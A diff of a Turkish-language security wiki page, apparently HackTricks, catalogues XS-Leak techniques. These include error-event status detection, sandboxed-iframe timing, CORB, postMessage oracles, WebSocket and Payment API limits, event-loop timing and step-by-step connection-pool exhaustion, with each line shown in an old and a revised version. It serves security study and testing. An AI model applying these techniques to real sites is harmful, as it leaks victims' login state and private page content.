XSinator, **birçok bilinen XS-Leaks'e karşı tarayıcıları kontrol etmek için otomatik bir araçtır** ve makalesinde açıklanmıştır: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
XSinator, **birçok bilinen XS-Leaks'i** kontrol etmek için otomatik bir araçtır ve makalesinde açıklanmıştır: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
|
||||
Araca **şu adresten erişebilirsiniz** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
Araca **şu adresten erişebilirsiniz**: [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, Cross-Origin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntısı veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.
|
||||
> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.
|
||||
|
||||
## **Zaman Tabanlı Teknikler**
|
||||
|
||||
Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etme sürecinin bir parçası olarak zaman kullanacaktır. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.
|
||||
Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için zaman kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.
|
||||
|
||||
**Saatler**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API'si, geliştiricilerin yüksek çözünürlüklü zaman ölçümleri almasına olanak tanır.\
|
||||
Saldırganların örtük saatler oluşturmak için kötüye kullanabileceği önemli sayıda API vardır: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasyonları ve diğerleri.\
|
||||
@ -66,7 +66,7 @@ Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, HTML Elemanları
|
||||
- **Tespit Edilebilir Farklılık**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklendiğinde tetiklenir; durum kodunu belirlemek mümkündür.
|
||||
- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklendiğinde tetiklenir, durum kodunu anlamak mümkündür.
|
||||
- **Kod örneği**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
@ -111,7 +111,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
- **Özet:** [SharedArrayBuffer saati](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers), bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği anda meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir.
|
||||
Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği zaman meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir.
|
||||
|
||||
### Sandboxed Çerçeve Zamanlaması + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
@ -121,7 +121,7 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org
|
||||
- **Özet:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API'si, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in `onload` işleyicisi, yalnızca kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) niteliğini kullanabilir. Bu niteliğin dahil edilmesi, özellikle JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.
|
||||
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in `onload` işleyicisi, kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) niteliğini kullanabilir. Bu niteliğin dahil edilmesi, JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -131,12 +131,12 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**:
|
||||
- **Summary**: Eğer doğru içerik erişildiğinde sayfanın hata vermesini sağlayabilir ve herhangi bir içerik erişildiğinde doğru bir şekilde yüklenmesini sağlayabilirseniz, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
|
||||
- **Summary**: Eğer doğru içerik erişildiğinde sayfa hatası verebiliyorsanız ve herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
|
||||
- **Code Example**:
|
||||
|
||||
Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleyebilirsiniz**.
|
||||
Farz edelim ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleyebilirsiniz**.
|
||||
|
||||
**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde _**onload olayı**_ her zaman en az bir kez **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
|
||||
Örneğin:
|
||||
|
||||
@ -145,14 +145,14 @@ Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleye
|
||||
|
||||
Eğer ilk URL **başarıyla yüklendiyse**, o zaman **URL**'nin **hash** kısmını **değiştirirken** **onload** olayı **tekrar tetiklenmeyecek**. Ama **eğer** sayfa **yüklenirken** bir tür **hata** almışsa, o zaman **onload** olayı **tekrar tetiklenecektir**.
|
||||
|
||||
Sonra, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz.
|
||||
Böylece, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz.
|
||||
|
||||
### Javascript Execution
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**:
|
||||
- **Summary:** Eğer **sayfa** **hassas** içeriği **dönüyorsa**, **veya** kullanıcı tarafından **kontrol edilebilen** bir **içerik** dönüyorsa. Kullanıcı **geçersiz durumda** **geçerli JS kodu** ayarlayabilir, her denemeyi **`<script>`** etiketleri içinde **yükleyebilir**, böylece **geçersiz** durumlarda saldırganların **kodu** **çalıştırılır**, ve **geçerli** durumlarda **hiçbir şey** çalıştırılmayacaktır.
|
||||
- **Summary:** Eğer **sayfa** **hassas** içeriği **dönüyorsa**, **veya** kullanıcı tarafından **kontrol edilebilen** bir **içerik** dönüyorsa. Kullanıcı **geçersiz durumda** **geçerli JS kodu** ayarlayabilir, her denemeyi **`<script>`** etiketleri içinde **yükleyebilir**, böylece **geçersiz** durumlarda saldırganların **kodu** **çalıştırılır**, ve **geçerli** durumlarda **hiçbir şey** çalıştırılmaz.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -161,10 +161,10 @@ xs-search/javascript-execution-xs-leak.md
|
||||
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu & Başlıklar
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir ve **Spectre** gibi saldırılara karşı koruma sağlar. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu döndüğünde, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu dönerse, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
|
||||
- **Code Example**:
|
||||
|
||||
Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
|
||||
@ -177,7 +177,7 @@ Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
|
||||
- **Summary**: ID veya ad niteliğinden hassas verileri sızdırın.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
Bir **iframe** içinde bir **sayfayı** **yüklemek** ve sayfanın **belirtilen öğeye** odaklanmasını sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi var demektir.\
|
||||
Bir **iframe** içinde **bir sayfayı** **yüklemek** ve sayfanın **belirtilen ID** ile iframe içindeki **eleman** üzerine **odaklanmasını** sağlamak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID elemanı var demektir.\
|
||||
Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz.
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
@ -185,10 +185,10 @@ Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz.
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: Bir postMessage'dan hassas bilgileri toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Summary**: postMessage'dan hassas bilgi toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Code Example**: `Tüm postMessages'ı dinleyen herhangi bir kod.`
|
||||
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kökenler arasında iletişim kurmak için kullanır. Ancak, bu yöntem `targetOrigin` parametresi düzgün bir şekilde belirtilmediğinde istemeden **hassas bilgileri** açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajı almanın kendisi bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının kimlik durumu hakkında bilgi verebilir, örneğin oturum açıp açmadıkları gibi.
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kökenler arasında iletişim kurmak için kullanır. Ancak, `targetOrigin` parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden **hassas bilgileri** açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajın alınması, bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi açığa çıkarabilir, örneğin, kimlik doğrulaması yapılıp yapılmadığı gibi.
|
||||
|
||||
## Global Limits Techniques
|
||||
|
||||
@ -197,24 +197,24 @@ Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantı sayısını sızdırır.
|
||||
- **Summary**: WebSocket bağlantı limitini tüketmek, çapraz kaynaklı bir sayfanın WebSocket bağlantı sayısını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Bir hedef sayfanın **WebSocket bağlantılarını** kullanıp kullanmadığını ve ne kadarını kullandığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
|
||||
Bir hedef sayfanın **WebSocket bağlantılarını** kullanıp kullanmadığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
|
||||
|
||||
Eğer bir **origin** **maksimum WebSocket** bağlantı nesnelerini kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantı sayısıdır**.
|
||||
Eğer bir **kaynak** maksimum sayıda WebSocket bağlantı nesnesi kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantı sayısıdır**.
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Sadece birinin aynı anda aktif olabileceğini tespit et.
|
||||
- **Summary**: Sadece birinin aktif olabileceği Ödeme Talebini tespit edin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Bu XS-Leak, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
Bu XS-Sızıntı, bir saldırganın **bir çapraz kaynaklı sayfanın ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
|
||||
Çünkü **aynı anda yalnızca bir ödeme talebi aktif olabilir**, eğer hedef web sitesi Payment Request API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Ödeme API'si UI'sını göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir.
|
||||
Çünkü **aynı anda yalnızca bir ödeme talebi aktif** olabileceğinden, eğer hedef web sitesi Ödeme Talebi API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **Ödeme API UI'sini** periyodik olarak göstermeye çalışarak bunu istismar edebilir. Eğer bir girişim bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik girişimleri gizleyebilir.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
@ -238,7 +238,7 @@ JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozill
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
|
||||
- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar ne kadar sürede kullanılabilir hale geldiğini** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
|
||||
- **Code Example**:
|
||||
|
||||
Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin yürütme zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişim gerektirmez, bunun yerine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır.
|
||||
@ -248,10 +248,10 @@ Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli
|
||||
|
||||
### Connection Pool
|
||||
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef webi yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
- **Summary:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başladığı zamana kadar geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
- **Code Example**:
|
||||
|
||||
{{#ref}}
|
||||
@ -261,56 +261,56 @@ xs-search/connection-pool-example.md
|
||||
Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, **tarayıcılar eşzamanlı soket sayısına bir sınır koymak zorundadır**. Saldırganlar bu sınırlamayı aşağıdaki adımlarla istismar edebilir:
|
||||
|
||||
1. Tarayıcının soket limitini belirleyin, örneğin, 256 global soket.
|
||||
2. 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli hostlara 255 istek başlatarak doldurun.
|
||||
3. Hedef sayfaya bir istek göndermek için 256. soketi kullanın.
|
||||
4. Farklı bir hosta 257. isteği deneyin. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen süre, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
2. 255 soketi, bağlantıları tamamlamadan açık tutacak şekilde çeşitli hostlara 255 istek başlatarak uzun bir süre boyunca doldurun.
|
||||
3. 256. soketi hedef sayfaya bir istek göndermek için kullanın.
|
||||
4. Farklı bir hosta 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen gecikme, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
|
||||
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Connection Pool by Destination
|
||||
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**:
|
||||
- **Summary:** Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı isteğe** bir sınır koyar. Eğer **5'ini engellersek** ve sonra **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz.
|
||||
- **Summary:** Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı istek** sınırı koyar. Eğer **5'ini engellersek** ve sonra **6.'sını** başlatırsak, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz.
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular `Timing-Allow-Origin: *` başlığını yanıtlarında içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süreleri gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
|
||||
